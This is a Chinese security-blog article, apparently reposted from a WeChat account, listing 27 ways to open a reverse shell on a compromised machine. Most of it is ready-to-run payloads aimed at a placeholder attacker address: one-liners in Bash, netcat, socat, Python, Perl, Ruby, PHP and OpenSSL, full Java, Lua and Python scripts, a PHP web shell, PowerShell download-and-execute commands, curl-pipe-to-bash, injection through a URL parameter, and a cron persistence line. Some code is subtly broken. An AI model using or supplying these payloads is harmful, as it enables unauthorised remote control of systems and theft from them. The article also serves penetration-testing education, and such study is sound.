反弹shell的27种方法

admin 2025年1月3日13:14:00评论2 views字数 9586阅读31分57秒阅读模式

在渗透测试的实践中,反弹shell(Reverse Shell)是一项至关重要的技术,允许攻击者从远程位置获得对目标系统的交互式命令行访问权限。这一技术通过在被攻击系统上执行特定命令,将shell会话反向传输到攻击者控制的机器上,从而绕过防火墙等安全机制的限制。本文将详细探讨渗透测试中反弹shell的27种方法,但鉴于篇幅和实际操作的安全性考虑,将重点介绍部分高频使用的姿势,仅供参考。

1. Bash反弹

Bash反弹是最常见且易于理解的反弹shell方法之一。利用Bash的特殊设备/dev/tcp,可以轻松地建立TCP连接并传输数据。

# 攻击者主机上执行监听
nc -lvvp port
# 目标主机上执行
bash -i >& /dev/tcp/x.x.x.x/port 0>&1

其中x.x.x.x为攻击者机器的IP地址,port为监听的端口。

2. Netcat反弹

Netcat(nc)是一个功能强大的网络工具,用于读写TCP和UDP连接。在反弹shell中,Netcat常被用作监听和连接的工具。

# 攻击者主机上执行监听
nc -lvvp port
# 目标主机上执行
nc -e /bin/bash x.x.x.x port

如果目标系统没有-e参数,可以使用命名管道(FIFO)来绕过限制。

3. Telnet反弹

Telnet协议用于远程登录服务,尽管安全性较低,但在特定场景下仍可用于反弹shell。

# 攻击者主机上打开两个终端分别执行监听
nc -lvvp 4444
nc -lvvp 5555
# 目标主机中执行
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

这种方法利用了两个端口分别用于输入和输出。

4. Socat反弹

Socat是一个多功能的网络工具,功能类似于Netcat的加强版。

# 攻击者主机上执行监听
socat TCP-LISTEN:port,fork -
# 目标主机上执行
socat tcp-connect:x.x.x.x:port exec:'bash -li',pty,stderr,setsid,sigint,sane

Socat提供了更多的选项和灵活性,如pty(伪终端)等。

5. Python反弹

Python脚本语言因其强大的网络库和跨平台特性,在反弹shell中也非常有用。

# 目标主机上执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'

这段Python代码创建了一个socket连接,并将标准输入、输出和错误输出重定向到该连接。

6. Perl反弹

Perl是一种功能丰富的编程语言,适用于各种任务,包括网络编程。

# 目标主机上执行
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这段Perl代码建立了TCP连接,并重定向了标准输入、输出和错误输出。

7. Ruby反弹

Ruby是一种简单快捷的面向对象脚本语言,也常用于反弹shell。

# 目标主机上执行
ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

这段Ruby代码创建了一个TCP连接,并读取攻击者发送的命令,然后执行并将结果返回。

8. PHP反弹

PHP是服务器端执行的脚本语言,尤其适用于Web开发。在Web环境中,PHP反弹shell尤其有用。

# 目标主机上执行(假设有Web服务器权限)
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'

这段PHP代码创建了一个TCP连接,并执行bash shell,将标准输入、输出和错误输出重定向到该连接。

9. Powershell反弹(Windows环境)

在Windows环境中,Powershell是一个强大的脚本工具,可以用于反弹shell。

# 攻击者主机上执行监听(使用Powercat脚本)
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x:port/powercat.ps1'); powercat -c x.x.x.x -p port -e cmd
# 目标主机上执行(假设可以下载并执行Powercat脚本)

Powercat是一个powershell函数,可以从远程服务器下载并执行。

10. OpenSSL反弹

OpenSSL是一个强大的加密库,也可以用于反弹shell。

# 攻击者主机上生成密钥并启用监听
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port port
# 目标主机上执行
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:port > /tmp/s; rm /tmp/s

这种方法利用OpenSSL生成自签名证书,并通过TLS/SSL隧道传输shell会话。

当然,以下是对上述提到的第11到17种反弹shell方法的详细代码和说明:

11. Java反弹

Java反弹shell通常涉及到创建一个Socket连接,并通过该连接执行命令。以下是一个简单的Java反弹shell示例:

import java.io.*;
import java.net.*;

publicclassReverseShell{
publicstaticvoidmain(String[] args){
Stringhost="x.x.x.x";// 攻击者IP
intport=1234;// 监听端口

try(Socketsocket=newSocket(host, port);
BufferedReaderin=newBufferedReader(newInputStreamReader(socket.getInputStream()));
PrintWriterout=newPrintWriter(socket.getOutputStream(),true);
BufferedReaderstdIn=newBufferedReader(newInputStreamReader(System.in));
BufferedWriterstdOut=newBufferedWriter(newOutputStreamWriter(System.out))){

// 线程用于读取攻击者的命令并执行
newThread(()->{
try{
String command;
while((command = in.readLine())!=null){
Processprocess=Runtime.getRuntime().exec(command);

// 获取命令输出
try(BufferedReaderprocessIn=newBufferedReader(newInputStreamReader(process.getInputStream()));
BufferedReaderprocessError=newBufferedReader(newInputStreamReader(process.getErrorStream()))){

String line;
while((line = processIn.readLine())!=null){
                                out.println(line);
}
while((line = processError.readLine())!=null){
                                out.println(line);
}
}
}
}catch(Exception e){
                    e.printStackTrace();
}
}).start();

// 线程用于将本地shell的输出发送到攻击者
newThread(()->{
try{
String line;
while((line = stdIn.readLine())!=null){
                        out.println(line);
}
}catch(IOException e){
                    e.printStackTrace();
}
}).start();
}catch(IOException e){
            e.printStackTrace();
}
}
}

编译并运行此Java程序后,将在指定的攻击者IP和端口上建立连接,并允许攻击者执行命令。

12. Lua反弹

Lua是一种轻量级的脚本语言,也可以用于创建反弹shell。以下是一个Lua反弹shell的示例:

local host ="x.x.x.x"
local port =1234

local socket =require("socket")
local tcp = socket.tcp()
tcp:connect(host, port)

localfunction read_command()
local command = tcp:receive("*l")
return command
end

localfunction execute_command(command)
local file =io.popen(command)
localoutput= file:read("*all")
    file:close()
    tcp:send(output.."n")
end

whiletruedo
local command = read_command()
if command ==nilthenbreakend
    execute_command(command)
end

tcp:close()

请注意,Lua标准库不包含socket模块,因此在实际使用中,可能需要安装一个额外的Lua socket库。

13. Nishang框架(PowerShell)

Nishang是一个用于渗透测试的PowerShell攻击框架,提供了多种反弹shell脚本。以下是一个使用Nishang的Invoke-ReverseTCPShell脚本的示例:

# 在攻击者机器上监听
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 1234

# 在目标机器上执行(假设可以下载并执行脚本)
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-ReverseTcpShell.ps1')
Invoke-ReverseTcpShell -IPAddress x.x.x.x -Port 1234

在实际使用中,需要将Invoke-PowerShellTcp.ps1Invoke-ReverseTcpShell.ps1脚本上传到Web服务器上,并确保目标机器可以访问这些脚本。

14. 使用Web服务器

通过上传包含反弹shell代码的Web脚本,并利用Web服务器执行,是一种常见的反弹shell方法。以下是一个简单的PHP反弹shell示例:

<?php
$ip='x.x.x.x';// 攻击者IP
$port=1234;// 监听端口
$sock=fsockopen($ip,$port);
$proc=proc_open('/bin/bash -i',array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>

将此PHP脚本上传到目标Web服务器的可访问目录中,并通过浏览器访问该脚本,即可建立反弹shell连接。

15. 利用系统工具(如curl或wget)

利用curlwget等工具下载并执行反弹shell脚本也是一种常见的方法。以下是一个使用curl下载并执行反弹shell脚本的示例:

# 在攻击者机器上创建一个简单的bash反弹shell脚本,并将其托管在Web服务器上
echo 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1' > reverse_shell.sh
python3 -m http.server 80  # 使用Python的HTTP服务器托管脚本

# 在目标机器上执行curl命令下载并执行反弹shell脚本
curl http://x.x.x.x/reverse_shell.sh | bash

16. 利用漏洞(如远程代码执行漏洞)

如果目标系统存在远程代码执行(RCE)漏洞,攻击者可以直接利用该漏洞执行反弹shell命令。以下是一个假设的利用RCE漏洞执行反弹shell命令的示例:

# 假设目标系统有一个RCE漏洞,可以通过URL参数执行任意命令
# 例如:http://target.com/vulnerable_page.php?cmd=whoami

# 构造反弹shell命令并通过RCE漏洞执行
curl "http://target.com/vulnerable_page.php?cmd=bash+-i+>&+/dev/tcp/x.x.x.x/1234+0>&1"

实际的RCE漏洞利用可能需要根据漏洞的具体情况进行调整。

17. 自定义脚本

根据目标系统的环境和权限,攻击者可以编写自定义的反弹shell脚本。以下是一个简单的自定义Python反弹shell脚本示例:

import os
import socket

host ='x.x.x.x'# 攻击者IP
port =1234# 监听端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

os.dup2(s.fileno(),0)# stdin
os.dup2(s.fileno(),1)# stdout
os.dup2(s.fileno(),2)# stderr

os.system('/bin/bash -i')

将此脚本上传到目标系统并执行,即可建立反弹shell连接。

18. 使用Python的pty库模拟终端

Python的pty库可以用于模拟伪终端(pseudo-terminal),从而提供更真实的shell体验。

import os
import pty
import socket

host ='x.x.x.x'
port =1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

# 使用pty模拟终端
master, slave = pty.openpty()
os.dup2(slave.fileno(),0)
os.dup2(slave.fileno(),1)
os.dup2(slave.fileno(),2)

os.execvp('/bin/bash',['/bin/bash','-i'])

# 注意:在实际使用中,可能需要在攻击者端使用类似screen或tmux的工具来管理pty会话

19. 利用Python的paramiko库进行SSH反弹

如果目标系统允许SSH连接,并且攻击者拥有相应的凭据,那么可以使用paramiko库进行SSH反弹。

import paramiko
import subprocess
import os

# 攻击者端设置SSH服务器监听
# 需要一个外部的SSH服务器或者使用Python的SSH库(如paramiko的ServerInterface)来模拟
# 这里假设已经有一个SSH服务器在监听

# 目标端执行以下Python代码
hostname ='x.x.x.x'# 攻击者SSH服务器IP
port =22
username ='attacker_user'
password ='attacker_password'

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)

# 开启一个反向隧道
transport = client.get_transport()
chan = transport.open_session()
chan.invoke_shell()

# 将标准输入、输出和错误输出重定向到该SSH会话
os.dup2(chan.makefile('wb',-1).fileno(),1)
os.dup2(chan.makefile('rb',-1).fileno(),0)
os.dup2(chan.makefile_stderr('rb',-1).fileno(),2)

# 启动bash shell
os.execvp('/bin/bash',['/bin/bash','-i'])

注意:这种方法需要攻击者控制一个SSH服务器,并且目标系统允许SSH连接。此外,由于paramikoServerInterface比较复杂,这里假设已经有一个SSH服务器在监听。

20. 使用Perl的IO::Socket模块

Perl的IO::Socket模块可以用于创建网络连接,从而实现反弹shell。

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;

my $remote_ip ='x.x.x.x';# 攻击者IP
my $remote_port =1234;# 监听端口

my $sock = IO::Socket::INET->new(PeerAddr => $remote_ip,PeerPort => $remote_port,Proto =>'tcp');
die"Could not create socket: $!n"unless $sock;

# 将标准输入、输出和错误输出重定向到socket
open STDIN,">&=$sock";
open STDOUT,">&=$sock";
open STDERR,">&=$sock";

# 启动shell
exec("/bin/bash -i");

21. 利用Java的JSch库进行SSH反弹(类似paramiko)

JSch是一个Java实现的SSH2库,可以用于创建SSH连接。如果目标系统允许SSH连接,并且攻击者拥有凭据,那么可以使用JSch进行SSH反弹。

因为涉及的内容较多,包括设置SSH服务器、处理认证等,不再给出完整的Java代码示例。但基本思路是:在攻击者端设置一个SSH服务器,然后在目标端使用JSch库连接到该服务器,并开启一个反向隧道。

22. 使用Ruby的drb(Distributed Ruby)进行反弹

Ruby的drb(Distributed Ruby)可以用于创建分布式对象系统。虽然不常用于反弹shell,但在某些场景下可能是一个有趣的选择。

注意:由于drb不是专门用于反弹shell的,因此实现起来可能比较复杂,并且需要攻击者设置一个DRuby服务器。

23. 利用目标系统的计划任务或cron作业

如果攻击者能够在目标系统上添加计划任务或cron作业,那么可以设置一个任务来执行反弹shell命令。

例如,在Linux系统上,可以使用crontab -e来添加一个定时任务:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1'

注意:这种方法需要攻击者具有在目标系统上添加计划任务或cron作业的权限。

24. 使用目标系统的服务或守护进程

某些服务或守护进程可能允许攻击者配置外部命令或脚本的执行。攻击者可以利用这些服务来执行反弹shell命令。

例如,某些Web服务器允许在配置文件中指定错误处理脚本。攻击者可以修改这些配置文件,使其在发生错误时执行反弹shell命令。

注意:这种方法需要攻击者具有修改目标系统服务或守护进程配置的权限。

25. 利用目标系统的漏洞利用工具集

许多漏洞利用工具集(如Metasploit Framework)提供了自动化的反弹shell功能。攻击者可以使用这些工具集来利用目标系统的已知漏洞,并自动执行反弹shell命令。

注意:使用漏洞利用工具集需要攻击者对目标系统的漏洞有深入的了解,并且需要确保所使用的工具集是最新且安全的。

26. 使用目标系统的内置脚本语言(如Python、Perl等)的Web接口

如果目标系统提供了内置脚本语言(如Python、Perl等)的Web接口(如CGI、FastCGI等),攻击者可能可以利用这些接口来执行反弹shell命令。

例如,攻击者可以上传一个包含反弹shell代码的CGI脚本,并通过Web浏览器访问该脚本来触发反弹shell。

注意:这种方法需要攻击者能够上传并执行Web脚本,并且目标系统需要允许这些脚本语言的Web接口。

27. 利用目标系统的远程桌面协议(如RDP、VNC等)的反向连接功能

某些远程桌面协议(如RDP、VNC等)允许反向连接,即目标系统主动连接到攻击者的机器。攻击者可以配置这些协议以使用反向连接模式,并在目标系统上启动远程桌面客户端来建立连接。

注意:这种方法需要攻击者具有在目标系统上启动远程桌面客户端的权限,并且目标系统需要支持反向连接功能。

反弹shell是渗透测试中不可或缺的技术之一,允许攻击者获得对目标系统的交互式访问权限,网络安全从业者需要掌握且擅长,能根据不同的场景来使用不同的反弹shell姿势。

原文始发于微信公众号(HACK之道):反弹shell的27种方法 都学会搞定90%的渗透!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月3日13:14:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反弹shell的27种方法http://cn-sec.com/archives/3588757.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息